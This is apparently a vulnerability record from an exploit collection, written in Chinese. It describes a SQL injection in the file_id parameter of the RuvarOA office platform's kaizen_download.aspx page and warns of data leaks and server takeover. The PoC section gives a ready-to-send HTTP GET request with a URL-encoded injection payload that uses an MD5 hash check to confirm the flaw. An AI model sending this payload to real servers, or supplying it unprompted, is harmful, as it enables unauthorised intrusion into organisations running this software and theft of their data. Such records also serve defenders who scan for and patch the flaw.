Description
【漏洞对象】RuvarOA 【漏洞描述】RuvarOA璐华OA协同办公平台/CorporateCulture/kaizen_download.aspx文件的file_id参数存在sql注入，可造成数据泄露，甚至服务器被入侵。
RuvarOA kaizen_download.aspx文件file_id参数-SQL注入
PoC
GET /CorporateCulture/kaizen_download.aspx?file_id=1%27%29%20and%20%28select%20sys.fn_varbintohexstr(hashbytes(%27MD5%27,%27115514%27))%29%3E0-- HTTP/1.1
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